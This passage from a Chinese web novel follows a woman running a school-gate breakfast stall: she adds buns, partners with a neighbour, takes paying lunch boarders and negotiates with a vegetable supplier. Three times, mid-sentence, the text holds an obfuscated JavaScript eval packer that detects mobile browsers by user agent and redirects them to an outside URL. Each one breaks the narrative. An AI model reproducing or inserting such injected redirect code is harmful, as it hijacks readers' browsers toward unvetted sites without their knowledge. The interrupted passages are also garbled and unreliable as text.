“啊？原来是这样啊……害，吓我一跳。”李志新见许军眼中闪着莫名其妙的开心，才反应过来是咋回事，“这是你邻居阿姨开的早餐摊？那你岂不是天天能吃到好吃的？” 许军的爸爸妈妈工作也忙，他和他妹妹吃饭被托付给邻居家，他们这些当朋友的也知道。 “是啊，苏阿姨不仅做的菜煎饼和茶叶蛋好吃。”一提到饭，许军来精神，“我和你们说，昨天苏阿姨给我们做了手打鱼丸汤……” 许军学习成绩好，词汇量也多，描述美食时绘声绘色，勾的李志新和郑周口水直流，恨不得代替他去吃饭。 “你说我们俩给钱在你邻居家阿姨吃顿饭，成功的概率是多少？”郑周。 “对啊。”馋得直流口水的李志新经过提醒，一拍脑门说，“我们为啥不能花钱在你阿姨家吃顿饭？反正我俩天天四处流窜各家饭馆解决中饭？” 接着，许军只见两双满是期盼的眼睛一瞬不瞬的盯着自己，亮晶晶的。 8. 鲜肉包和豆腐包 早上八点二十，苏念将最后一锅菜煎饼递给客人，带来的食材全部卖完。 “小苏，准备收摊了？”孙菊朝着刘素华那边看了一眼，像是故意吆喝一样，放大声音问苏念，“你明天多弄点来卖，好多人没买着呢。” 察觉到孙菊的意思，有些无奈的摇摇头。 “孙嫂。”苏念有些无奈的笑，有意岔开话题，“今早豆浆卖的不错嘛。” 一说到这个，孙菊高兴的不行，“这得谢谢你，用了你教的法子，好多老顾客都说味道比以前好喝。之前是粥卖的好，现在豆浆卖的也好，一天不少挣。” 苏念手脚麻利地收拾东西，孙菊剩下些粥没卖完，留下继续卖。和她打了声招呼，才骑着车回家。 经过刘素华的摊子，只见夫妻俩埋头工作，没有一人和她打招呼。案板上的煎饼材料剩下不少。 把小吃车送回小院，苏念盘了盘账，卖了五十个茶叶蛋和四十五块菜煎饼，营业额一共三十三，刨去成本，加上前一天的利润，一共二十五元。 利润不错，成本得继续控制。苏念盘算等生意稳定，盘一个铺子下来开餐馆。 苏念拿钱前车熟路的前往农贸市场进货，材料买齐，把东西送回小院已经接近晌午。伺候着三个孩子吃完中饭。 午睡完，把三个孩子送回学校，苏念没有返回小院，反而是直接前往孙菊家里。 孙菊家在三条巷52号，苏念到的时候正巧看见她在前院洗衣服。打了招呼，孙菊连忙起身把她迎进屋，泡茶递过来。 “嫂子，我过来是想找你商量件事情。”两人落座，苏念也不废话，直接说此行的目的，“你想不想多挣点钱？” “哦，我说你今天怎么不急不忙呢，原来早就想好解决方法。”孙菊一听，笑容展开，“害的我一早上着急上火的。” 刘素华恶性竞争的事一想起来，她忍不住火冒三丈。 “我打算卖包子，但我一个人忙不过来。你要不要和我一起干？” 早餐摊能卖的品类就那些，见刘素华卖包子，她本身是不打算卖同类竞品。可惜，人家先抢她生意，她也没必要故意回避。 “行啊。” 孙菊一听，举双手双脚的赞同。苏念见对方同意，干脆一步到位商谈细节。 最后定下来，孙菊直接资金入股，两人合起伙干买卖。粥、豆浆、茶叶蛋、菜煎饼正常卖，除此基础上增加包子，后续再看情况上新。 这笔生意本质上是苏念出主力，因此分成占大头，孙菊拿三成。 两人商谈好细节，定好工作时间地点，苏念想着和钱宇的约定，紧赶慢赶的往家走。 拐进四条巷的街头，远远的看见一个少年双手抱膝蹲在院门，旁边摆放着两个箩筐。 “钱宇。” “苏姐。” 钱宇听见一道熟悉又陌生的声音，下意识抬眼，见是苏念，急忙站起来挥手。 “那个……” 见人靠近，钱宇忽然间有些胆怯，无法抑制的捏紧衣角。他没有把握她能把鸡蛋全收了。他承认，对女人的提议非常心动，这是赚钱的机会。 他想挣钱，想改善家人的生活。 “鸡蛋收回来了？”苏念笑着看地上的箩筐，“东西拎进来，给你称重结钱。” “好，姐。” 内心悬着的石头落地，钱宇一下松开一角，长吁一口气，笑容也重新挂上脸庞。麻利的挑起箩筐，跟着苏念进了院门。 让他在院子里等了一会儿，苏念回去拿称，顺带给钱宇倒了一杯水。 钱宇帮着称蛋，昨天拿着家里仅剩的钱在村里挨家挨户的收鸡蛋。一共收了十斤，钱全部花光才停止。 孤注一掷的下场是提心吊胆，害怕苏念只是随口一说，没有当真，害怕希望落空，更加害怕挣不到钱，改善不了家人的生活。 “一共十斤，钱宇，我进屋给你拿钱。”苏念核实完鸡蛋斤数，进屋又出来，“一共13元，多给你五角钱算作辛苦费。一共13.5元。” 钱宇看着手掌心里的纸币和硬币，一时间，内心一热，眼角忍不住的发烫。 他，挣钱了。 村里人鸡蛋的收购价是八角五分一斤，他按九角一斤收购。卖给苏念是一元三角，中间的差价是四角。 “钱宇，别光顾着发呆啊，数数钱够不够？”苏念一见小伙傻愣愣地，有些发笑。 她能理解钱宇的心境，想当初她靠双手挣第一次巨款时心中复杂无比。 “够，钱是对的。”钱宇嘴角笑容不断扩大，“苏姐。” “行。”苏念笑道，“你快回去吧，以后送蛋时间就定在下午三点。有多少你送多少过来。” “嗯！”钱宇慌忙把钱塞进裤兜，挑起箩筐告辞，恨不得立马回村收鸡蛋。 见人走远了，苏念关上院门。把鸡蛋放在角落，回厨房准备晚饭食材。 决定卖包子时就采购了制作食材，打算先上鲜肉包和豆腐包。一款素菜包一款鲜肉包，基本上能满足荤素两种口味。 晚上打算两笼出来给大家尝尝味道。 想要做出好吃的鲜肉包，肉的选择最为关键。最好的是猪前腿肉，因为活动量大，肉有弹性，肥瘦相间。菜市场摊贩为了增加竞争力，通常会提供机器绞肉服务，方便是很方便，但机器绞烂的肉容易太碎，失去口感。 相反，真正懂的制作鲜肉包的老师傅会选择手工剁肉馅，能够最大程度的保证肉的颗粒感。 买来的二斤半肥瘦相间的前腿肉剁好，苏念的前臂也酸的不行。鲜肉包好吃是好吃，就是有点费手。 铁盆里满是肉馅，倒入调味料，拿筷子一边搅拌一遍倒入提前泡好的葱姜水去腥。肉馅调好，放一旁备用。 她吃过最好吃的豆腐包当属于建德豆腐包，包子皮薄馅多有滋味。求学之际，为了这口滋味，她专门跑到建德市学过。豆腐最好选择嫩豆腐，不需要用到切，直接清洗一下放在盆里，拿瓷勺碎成小丁。当时教学的师傅千叮铃万嘱咐让不要碾成豆腐泥，太碎口感不好。 豆腐碎成小丁后，撒上一点点盐巴，放在一旁让它出出水，最后用纱布沥水。 等待的功夫切配料，小葱切成末，辣椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491028|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切碎。 起火烧过开始炒料，锅热放入猪油，倒入之前预留的肉末，煸炒变色，依次加入辣椒，炒出味道，最后放入调味料出锅。 冷却后倒入处理好的豆腐，放入葱末，轻轻搅拌均匀即可。 至此，两种包子馅全部调配完成，顺带把面揉好发酵，厨房里弥漫着香味。 苏念见时间尚早，开始处理购买的鸡蛋。相较于供销社的鸡蛋，钱宇送来的鸡蛋比较原生态，蛋壳外面有泥土，得清洗。 今天早上摆摊时已经预定了十九个茶叶蛋，钱也收了。客户群基本上是钢铁小学的老师。 十斤鸡蛋大概有九十多个，她打算明天上六十个茶叶蛋，预留三十个留作备用。钱宇收购的走地鸡蛋是便宜，但大多是村名自家养的鸡下蛋卖的，经过昨天的收购，她不确定钱宇明天能不能送来今天的斤数。 洗洗刷刷，把鸡蛋晾干的功夫。太阳已经到了西边，云彩晕染成晚霞，非常美丽。 街道也传来小孩子的嬉笑打骂声，近段时间，刘春霞上白班，晚上三个孩子放学也由她接回来。 苏念也回了厨房开始包包子，面正好发酵好。铺开面板，撒上面粉开始揉搓面团排气，切成小剂子用擀面杖擀成薄皮。 “今晚吃包子？” “嫂子，对，今晚吃包子。早餐摊打算上的新品，你看看味道怎么样？” “行，相信你的手艺，肯定大卖。” 刘春霞说话的功夫已经洗手系上围裙，自然的接过擀面皮的活。 “妈妈。” “苏姨，今晚吃什么呀？” 与此而来的还有三个放好书包的小孩，不出意料的腿被江颜抱住。 “咱们今晚吃包子。”苏念笑道，“小军，你带着两个妹妹去院子玩，让我和你妈妈忙，等着开饭。” 许军听后，点点头，带着两个小孩出去。 “三个孩子都听你的。”刘春霞手下动作不停，“连我们家那个调皮捣蛋闺女也乖乖听话。” 两人有说有笑的包包子，苏念顺带讲了和孙菊的各作，打了声招呼后面人会来家里一起准备东西，可能会占用厨房。但她会负责柴火煤炭的花销，并且承包早饭。 不用早起做饭，刘春霞乐见其成，没有反对意见。 说说笑笑的功夫，包子也蒸好出锅，摆在院子里的餐桌也支开。 把包子放到桌子上，除了上晚班的许建国没到，人员到齐开动。 小吃货许曼丽率先开动，拿了一个豆腐包开吃。许军拿了一个鲜肉包，江颜拿了一个豆腐包。 许军看着比掌心大的包子，一口咬下来，满口肉汁，咀嚼间混着面。 脑海中只剩下一个好吃。 三下五除二解决掉一个肉包，突然想起李志新和郑周的嘱托，拿下一个肉包的动作停滞。 “怎么了？小军，包子不好吃吗？”苏念有些奇怪。 许军望着关怀自己的苏念，纠结再三，决定替自己好兄弟争取一下。 “我班上有两个朋友托我问你一下，他们能不能花钱在你这边吃一下顿中饭。” 9. 反击 话落，刘春霞立马放下筷子，盯着儿子，有些奇怪儿子同学怎么会有想来吃饭的举动。 苏念也有些意外。 “小军，你同学怎么会想来吃饭？” 刘春霞率先开口询问，继而等着自家儿子的解释。 许军见两个大人齐刷刷盯着自己，手指忍不住的绞在一起，有些犹豫要不要说出和好兄弟炫耀苏姨做饭好吃这件事。 “他们俩爸妈工作忙，爷爷奶奶不在身边，吃饭全是在外面买着吃的。”许军讲完，“我和他们讲过我和妹妹在苏阿姨这边吃饭，加上他们自己也在苏姨的早餐摊买过东西吃，觉得苏姨做饭好吃，想花钱包月。” 许军自动忽略了他自己炫耀的画面，面色沉静，一脸正经的讲原因。 “苏姨，你觉得行吗？”许军忍不住有些忐忑。 “我是没问题，关键是他们家长同意吗？如果家长同意，可以。”苏念略一思索，给出答案。反正现在缺钱，蚊子腿肉再小，也是肉。 “那我明天上学问问他们。”许军内心纠结的事情落了地，胃口大开，连着吃了四五个包子。 半大小子，吃穷老子，这句话是有道理的。 饭后，刘春霞收拾厨房卫生，顺带给自家男人留了点饭，苏念负责给两个女孩子洗澡。 院子后边种了几棵杨树，六月初树也开了叶，摇动间带来一丝清风。知了也吱吱叫，天然的白噪音。 月亮高悬在半空，四条巷重新归于安静。 - 夜色蒙蒙亮，四条巷28号院门传来熟悉的敲门声，苏念快步小跑开门，将人迎进来。 来人跟着进了后院厨房。 “茶叶蛋弄好了，只剩下包包子。”苏念一边向孙菊介绍，一边动作麻利的擀面皮，“咱们得抓紧时间，你豆浆煮好了吗？” “煮好了，在外面餐车上。”孙菊道，“咱们今天预备多少个包子，跟着你学了一个星期，今天算咱们餐车第一天卖包子，也不知道销量怎么样？” 当初两人决定合作，直接敲定了早餐的种类。除了原先有的菜煎饼和茶叶蛋，又增加了鲜肉包和豆腐包，孙菊的种类直接缩减成手工豆浆。 两辆餐车分批调整，她自己的餐车没有改变，孙菊的车上增加了碳炉和蒸笼，她们打算走现包现蒸现卖的路线。主打一个新鲜干净，眼睛能看的见。 两人开摊之前先包一些预存，免得正式开摊忙不过来。包了大概两笼上锅蒸，天色已经明亮，苏念才回卧室把江颜叫起来洗漱吃饭。 刘春霞带着三个孩子吃完早饭，才挎着背包送孩子们上学。 等人走了，苏念把东西收拾妥当，确认无误后和孙菊往钢铁小学门口去。 “她们两口子倒是积极，估计天不亮就来了。”孙菊一眼看见左边刘素华满眼笑意的招揽客人，气不打一处来。 虽说摊子上的生意没受影响，但刘素华恶意抢生意的行为让人很恶心。苏念的菜煎饼色香味俱全，但夹不住刘素华的价格低。这段时间，陆陆续续有不少贪图便宜的去她家买。 “孙嫂，咱们只管做自己的。”苏念手下动作不停的整理东西，眉眼一挑，“今天可是咱们第一次上包子，可得攒足劲头好好干。” “嗯！” 孙菊想到鲜肉包和豆腐包的味道，心情才算好些，总是可以扬眉吐气一把。 东西整理好，也迎来了上学的早高峰。小孩子们跟着家长慢腾腾的往学校走。 一时间，校门口人络绎不绝。 “老板，老样子来一套。茶叶蛋今天只拿一个。” “王老师。” 苏念一抬眼见是老主顾王志刚，对方戴着黑框眼镜，瘦瘦高高的一人。每次来总是两份菜煎饼加辣和四个茶叶蛋的组合。 “咱们摊子出了新品，今天要不要尝试一下新出的包子？” 见是老主顾，苏念干脆开口推销，指着孙菊的餐车询问。 “她家的包子是你做的？” 王志刚顺着手指看向一旁，旁边的摊子他熟悉，卖粥和豆浆的。平时苏老板忙不过来会帮忙。 其实刚刚他就发现了旁边摊子有包子，味道闻着香。却没有购买的想法，近几年政策松了，学校附近开了不少饭店。有些东西闻着香，吃着一般。 也就是苏念摊子上的东西，闻着香吃着也香，天天吃也不腻。 “对，我们两家合为一家开店，后面会陆陆续续上新品的。”苏念笑道，“怎么样，王老师，要不要来一份？目前我们只上了两款包子，鲜肉和豆腐的，豆腐包会有一点点辣。” “鲜肉包一角五分钱一个，豆腐包八分钱一个。现包现卖皮薄馅大，肯定物超所值。” 王志刚望着揭开的蒸笼，热气腾腾中，白白胖胖的包子像站岗一样，香味扑面而来。 “行，今天菜煎饼不吃。给我拿四个鲜肉包两个豆腐包，两杯豆浆。” 孙菊一听，高兴的不行。连忙给人捡包子，捡好动作利落的递过去。 王志刚付好钱，拎着东西往学校走。 “七角五分钱，刚开张就进账七角五分钱。” 孙菊很开心，觉得心口的一口恶气总算散去。苏念的手艺好，做出的东西往往色香味俱全，加上她们包子的定价也比较亲民。 苏念看着好友眉色飞扬的模样，也忍不住笑了，收拾好心情，迎接下一位客人。 可能是香味加上现包现卖的模式吸引了客户，不多时，小摊前排起了长队。 孙菊脸上的笑容愈发扩大，笑着招待客户。 等歇下来，带来的包子也所剩无几。孙菊干脆把剩下的馅料全部包了。 苏念终于能休息休息，环顾四周。 不得不说，有需求便有市场。短短小半个月，学校附近又出现了两三家卖早点的。想要保持竞争力，得不断地保持水平的同时推陈出新。 今天卖包子的销量是一种成功的信号，两家同时卖包子，顾客更倾向于来她们家买。 那么说明，她们的产品有市场竞争力。 - “妈妈，你相信我，她们家绝对干净卫生，价格实惠。你帮帮忙和老板讲，让我在她们家吃中饭，我们班同学一天三餐就是在她们家吃的。” 刘兰见儿子紧紧挽着自己胳膊，满脸紧张的盯着，嘴里苦苦哀求，让她忍不住对儿子口中的早餐摊老板感到好奇。 她在纺织厂进出口公司上班①，爱人在市政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491029|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府办公厅工作，两人平时工作忙。小孩子小一些时候是两家老人照顾，孩子渐渐大了，两家的老人年纪也大了，没办法照顾他们。导致孩子吃饭上根本没办法照顾，只能丢钱给他自己解决。 自从上周孩子回来说想在同学家邻居吃中饭，人家要求家长去谈才行。这个礼拜儿子一直缠着让她去，可工作太忙了，直到今天才有空。 “苏姨，早上好。” 苏念正把一个煎饼递给客户，就听见一道熟悉的声音，抬眼见是许军的同学，“李志新，早上好。今天吃什么啊？我们今天新上架鲜肉包和豆腐包，要不要尝试一下？” “这位是？” 苏念说着才看见小孩的旁边站着一个女人，烫着一头大波浪，脚踩低跟皮鞋，一身时装，妆容精致。 “你好，我是李志新的妈妈。” 女人笑着伸出手自我介绍，苏念笑着回握。 自打那天许军说了同学想来吃中饭，她给了要求让家长来谈。后面一直没消息，倒是两个孩子每天雷打不动的来买早餐。以为这事没信，家长不同意，没想到今天人直接找到摊主上来了。 “苏姨，我要两个鲜肉包和一杯豆浆。”李志新眼尖的发现包子，闻着味忍不住的咽口水，麻溜的报菜单。 接过东西，李志新拉拉妈妈的胳膊，眨眨眼，“妈，我先上学了，期待你的好消息哦。” 说着和苏念孙菊打了声招呼，一溜烟的跑向学校。 直至人影消失，刘兰才收回视线。 “方便聊聊吗？苏老板。” 带过来的东西基本售罄一空，临近上课时间，上班的上班，上学的上学，人流量也变少。 “方便，麻烦你等我一下。”苏念笑道，随后和孙菊交代了一下事情，才带着人往附近的一家饭馆走去。 两人坐定，苏念给两人叫了一碗面，等着对方开口。 “苏老板，我是爽快人，我直接说了？咱们家孩子在你那边吃一顿中饭，我一个月给三十元，这个价格你能不能接受？”刘兰不拐弯抹角，直接说出诉求。 她刚刚观察过，一般做早餐摊的卫生堪忧，但她们案板上整洁干净，闻着味道也挺香。 仅凭干净卫生这一点，她愿意把孩子放在她们家吃饭。 钱，从来不是问题。 苏念笑道，“如果你不觉得给多，那我肯定是可以的。” 一个月给三十元，是一笔非常可观的数字。她能看出李志新的妈妈应该是一个女强人，那么挣钱能力肯定不弱。 既然自身的手艺在对方看来值得这个价，她也就不会推辞。 她需要钱，她想要快速的站稳脚跟。 见对方也爽快，刘兰心情也好，直接打开皮包，给了第一个月的饭钱，苏念接下。 两个女人相视一笑，一切尽在不言中。等面端上来，两人吃好散去。 等苏念回摊子时，孙菊已经把东西收拾好等她。 “怎么了？今天销量很好，怎么生气了啊？”苏念走近才发现孙菊满脸怒气，有些疑惑不解。 “刚刚刘素华他对象过来警告我们不许卖包子，继续卖的话让我们好看。” “从来没见过这么不要脸的人！” 10. 干锅虾+小炒肉 “让我们好看？”苏念望向刘素华摊子的同时，正巧碰见他家男人举着拳头向自己示威，活脱脱□□，“挺大能耐。” 对方的口头警告过于幼稚，估计是看她和孙菊是两个女人，以为性子软好欺负，稍微威胁一下能拿捏住她们。 天真又可笑。 苏念收回目光，心中已经有了对策，安抚孙菊，“嫂子，不要生气了，咱们非要听他们的？包子卖的这么好，咱们继续卖。凭本事吃饭。” “是，凭本事吃饭。”苏念的安慰成功的减轻她的怒气。 “嫂子咱们回去吧，算算今天的营业额，你应该会高兴的忘记刘素华这号人是谁。”苏念忍不住打趣道。 两人说说笑笑的往家走，回去把餐车上的东西全部搬下来，进行全面的刷洗。不仅仅是工具和碗筷等，连带着餐车也是里里外外的刷洗一遍。 想要长久地留住顾客，食物的味道是核心，摊位的干净卫生也是重中之重。随着时代的发展，后世的学校门口衍生出五花八门的小吃摊。比如卷饼、炸淀粉肠等等，她上学时买小吃，味道差不多的情况下，往往选择干净卫生的那一家。 东西洗漱干净放在院子里晾干，苏念和孙菊进屋盘账，今天总体的营业额突破了四十六元大关。 一天营业额近五十元，快抵上纺织厂普通女工一个月的工资。数完钱，两人的精神为之一振，不由高兴。 两人之前商量，一个月分一次账，赚来的钱全部放在苏念的手头，买食材之类全部从这笔钱里出，一笔笔记账，月底两人对账。 苏念将半个月来赚的钱全部汇总了一下，心头有底。打算带着孙菊寻找合适的供货商。 进货需要付定金，之前手头的钱不多，一旦付定金就没办法周转开。如今手头的钱宽裕，打算把寻找供应商的事情提上日程。 稳定的进货渠道可以谈价格，压低餐饮成本。 把想法和孙菊简单的碰了碰想法，孙菊直接说她不太懂这些，事情全部由她做主。对于孙菊的信任，苏念是有些感动的。 任何的关系一旦关乎利益，事情就会变得复杂。她很高兴能遇见一个志同道合的合作伙伴。其实当下的生意她一个人也能做起来，只是考虑到后期开餐馆，一个人容易忙不过来，倒不如从一开始培养人才。 通过和孙菊的简单接触，她确定了和对方合作的想法。 钱收拾好，打算带着孙菊出发农贸市场进货，顺带寻找合适的供货商。 两人揣着口袋，骑一辆三轮车风风火火的出发。 九点半的农贸市场人流涌动，每家每户负责做饭的主妇来进货。苏念带着孙菊直奔经常去的摊子。 蔬菜摊在农贸市场的西南角，摊主的是一对夫妻。经常去买菜，两人慢慢熟悉，得知男摊主名叫刘钱君，四十来岁，模样白白胖胖，笑起来眼睛眯成一条缝。每次她来进货喜欢喊她小妹。他对象叫钱娟，扎着一根麻花辫，给她男人打下手，脸上总是带着笑容。 她和孙菊刚靠近，摊主远远地开始招呼她们。 刘钱君眼睛笑成一条缝，“小妹，又来进货啊？今天买些什么东西？” “刘老板，今天有什么好东西啊？”苏念笑着停下，“钱姐好，今天生意怎么样啊？” “托你的福，今天生意算可以。”钱娟笑眯眯的，“老刘一直在等你，给你留了好东西。” “刘老板，给我留了什么好东西。”苏念听闻开玩笑道，“不是好东西我可不要啊。” “直接送你要不要？”刘钱君也开玩笑道。 两人一来一回，欢声一片。 对于摊子的大客户苏念，钱娟是喜欢的。为人爽朗，买的量大又多，钱也付的及时。每次来能聊几句。 “喏，给你留的香芹。你拿回去吃吃味道怎么样？吃的好了继续过来拿。”刘钱君将藏在货架下的东西拿上来，递给苏念，“刚刚真不是开玩笑，这把香芹真是留给你的，不要钱。” 苏念接过对方手里的香芹，闻一下，清新中带着好一丝淡淡的苦味和一丝丝甜味，品质属于A级。 观察了一下摊子上的种类没有售卖的，能够得知香芹确实是特意给她留的。 “不行，得给钱。” 两人一番推拉下，苏念才收下香芹。 刘钱君见对方收下，才松了一口气。送苏念香芹，他是有私心的，对方是做餐饮的，后期需要买菜量是惊人的。如果关系处好，对方一直在他的摊子拿货，相当于一直能拥有稳定的收入来源。 收下香芹后，苏念介绍孙菊和两人认识，寒暄过后，才把来意说了出来。 得知对方想稳定在他这边拿菜，刘钱君像是被天上掉下来的馅饼砸中一样，惊喜来的过快，有些反应不过来。 尤其对方讲小吃摊不是终点，连锁餐馆才是她的志向时，听的他血液沸腾起来。 一家餐馆的蔬菜供货量大的惊人，更不要说连锁餐馆。如果能成为她的稳定供货商，等于是白捡钱。 遇见财神爷了。 刘钱君眼睛发光，市场里环境嘈杂，给对象交代了两句，打算和苏念去外面详谈。 苏念也正有此意，和孙菊交代了今天的拿货种类，留下她拿货，才和刘钱君往外走。 “孙姐，我给你拿货，斤数合适了和我讲。”钱娟见自家男人走远，看留下的孙菊像见财神爷一样。 对于苏念的宏大计划，孙菊有些咋舌。又见对方非常热情，有些心虚。 真是个大忽悠。 且不说孙菊的吐槽她没有听见，苏念带着刘前君到了农贸市场外的空地，开始商谈细节，不断争取价格。 两人讨价还价，两三轮比价下，终于达成了双方较为满意的合作。 回去时，孙菊已经把需要的食材全部装好称好。刘钱君人也爽快，直接按照商定好的价格结款。 苏念带着孙菊把进来的菜一起搬到车上，让她看着菜，又钻进农贸市场，直奔常去的水产区买了两斤明虾，又买了上好的五花肉和辣椒。 拎着菜回去，才和孙菊把菜运回小院，和孙菊商定好明早的会面时间。 孙菊回家，她才拎着食材往厨房走。 中午打算做一道小炒干锅虾和小炒肉外加一道蔬菜。 中午一共供应四个孩子的菜，两个小伙子正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491030|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在长身体，饭量大。苏念煮米饭直接多煮一倍量。 宁愿剩下，也不能不够吃。 人家妈妈可是给了足够的钱，她得提供优质服务。 拿一个铁盆把明虾放进去，丢一些盐泡水。又把香芹、土豆、香菜、辣椒放入盆间清洗。 土豆削皮切成条状，扔盛满水的盆里泡出淀粉。香芹揪掉叶子，切成大小均匀的条，辣椒切成段，香菜清洗干净切好。 配菜基本完成，苏念又把前段时间买来的香料，按需要放在碗里，剪小半碗干辣椒段。 明虾洗干净，去掉头，放一点料酒去腥。 干锅虾的食材基本处理完毕，才开始处理小炒肉的食材。 湘菜在全国最出名的当属于小炒肉，香辣、鲜香、有锅气，总结来说一道下饭菜。 五花肉切成薄片备用。 烧锅，满白气倒一点油，把切好的五花肉丢进去反复煸炒。一直把肥肉的油全部煸出，肉的外表微微焦黄盛出备用。 另起一锅，倒入油烧热，明虾裹满淀粉放入炸，虾变色捞出，把土豆等配菜丢进去滚一边油捞出沥干。 重新烧火，不放油把辣椒段放入煸，一直成虎皮状盛出备用。 食材预处理完毕，也差不多到了孩子们放学时间。 刘春霞上白班中午回不来，孩子们得她去接。 苏念洗手出门，先去托班把江颜接出来。 不得不说，小孩子是小天使，自打她打开了小反派的心扉，相比于之前的拘谨，现在粘人的很。 看见她来接，脸上的笑容不断，整个人倚在她腿边。 在校门口没等多会儿，许曼丽背着小书包往校门奔去，扎着的双马尾随着跑动飞扬起来。 到了面前，直接把江颜抱起来，两个女孩子叽叽喳喳的聊开。 没过五分钟，她见许军和李志新一前一后的出来。 许军一如既往的沉稳，显得旁边的李志新过于的活跃。 “苏姨，见到你很开心，我妈妈和我讲中午去你们家吃。”李志新嘴角的笑不停，“苏姨，我惦记你做的饭惦记了一周啊，终于能去了，你是不知道放学时郑周的幽怨的眼神。” “郑周中午怎么吃？” 之前听许军说过李志新和郑周的事情，知道两个小伙子中午搭伴去找餐馆解决中饭，忍不住多问了一句。 “他在后面呢，中午可能去哪家饭店凑合一顿。”李志新说话间朝着后面跟出来的好兄弟招手，“郑周，这边。” 苏念顺着看过去，只见一个穿着校服的男孩慢腾腾地往校门口走。 “如果不介意的话，你把郑周叫上，今天中午一块吃饭。”苏念道。 李志新一听，拼命的招手，等人靠近，宣布好消息。 本来李志新能去吃饭，他去不了，郑周有些沮丧，没想到峰回路转，能够去吃饭，整个人高兴不已。 领着孩子们到家，苏念直奔厨房炒菜。 不多时，干锅虾、小炒肉和清炒时蔬上桌，招呼孩子们上桌吃饭。 郑周和李志新看着桌上的三道菜，鼻间诱人的香味，齐刷刷的咽口水。 11. 干锅虾+小炒肉2 李志新和郑周闻着味，互相看了一下，眼中满是惊艳。 他们俩把小学附近的餐馆吃了个遍，吃过的餐馆少说有七八家。 之前听许军描述菜色，他俩疯狂的流口水。但心中终究存了一丝疑惑，能够有多好吃？ 如今一看，色香味俱全。 “你们愣着干嘛，吃饭呀。”苏念把米饭上去，见两个小伙子愣神，有些好笑，“小军，招呼你同学吃饭。” “咋了？不敢相信？”许军见两个好兄弟愣神，暗暗发笑，“我都说了苏姨做饭好吃，别发呆，赶快吃饭。” 看着面前冒尖的大米饭，咽口水，李志新率先动筷子，加了小炒肉，混着一口大米饭塞进口中。 辣椒的辛辣混着肉的焦香，咀嚼间猪肉的脂香味慢慢释放，混着米饭香，味觉撞击了灵魂。 郑周则是选择夹了一块干锅虾，入口的瞬间，鲜香麻辣，裹干净虾壳外裹着的调料，只觉得舌尖发麻，去除虾壳，虾仁的味道麻辣入味。 咽下虾肉，适时的送上一口米饭，夹一根土豆，好吃的让人忍不住地吞舌头。 两人对视一眼，疯狂的干饭。 “两个哥哥，我妈妈做的饭好吃吧。”江颜见新来的两位哥哥不停地夹菜，有些忍不住地炫耀。 她妈妈做菜就是很好吃。 “好吃，非常好吃。”郑周一边扒饭一边不住的点头，同时下定决心一定让妈妈过来商谈他中午吃饭的事情，他得为自己的嘴争取福利。 许曼丽，“我最喜欢吃苏阿姨做的饭了。哥，颜颜，快点吃，不然被两位哥哥吃完啦。” 苏念见四个小孩有说有笑，笑着催促快点吃饭，也就没管。自己半碗汤喝下，慢悠悠的吃饭。 今天的小炒肉受条件限制，做的不地道。真正的湘味小炒肉的灵魂在于豆豉酱，可惜她寻遍了整个农贸市场也没有找到类似的豆豉酱。 她打算等后面有时间，做一点豆豉酱备用。 四个孩子吃完饭，让许军带着同学回他自己床上午睡一会儿，许曼丽和江颜两个小姐妹睡一起。 午休完，直接将四人送回学校。 回小院时，把上午洗刷好的餐车上的工具归类整理好，才回屋休息。 梅雨季的离开，随之而来的便是盛夏。下午两点多的天空万里无云，一片蔚蓝。树上的知了发出白噪音，让人神经暂时舒缓。 苏念一觉好眠，午睡再次醒来已经是下午三点二十，穿戴好出院子时钱宇已经等在外面。 “钱宇，来多久了，怎么不敲门。”苏念一看对方等候多时，打开院门让人进来，“我午睡一时忘了时间，直接敲门叫我就是，不然得等到多会儿。” 钱宇挑着箩筐进来，“没等多久。”筐放下，将手里的东西递上，“姐，这是我上午在河里逮的小餐鱼，给你送点尝尝。” 苏念定睛一看，大概有十来条小餐鱼，连忙回屋拿铁盆把鱼放进去，倒了些水养起来。 道谢后，直接称重鸡蛋，结清货款。 钱宇望着手里捏着的钱，心生感慨，再一次暗自庆幸认识苏姐。经过苏姐的指点，他通过收鸡蛋的差价，已经赚了一笔不小的钱。前段时间，苏姐再次提醒他可以寻求多家合作，有了鼓励，他才壮着胆子去问了市里各家的餐馆是否需要物美价廉的鸡蛋。 开始不顺利，但皇天不负有心人，一番折腾下来，倒真让他和两家餐馆达成合作，加上苏姐这边的鸡蛋供货量。 三家加在一起，他收鸡蛋的途径已经扩增到邻村。忙不过来，他爸爸忙完农活也会帮他忙。 日子，一天天的变好。 苏姐，是他的贵人。 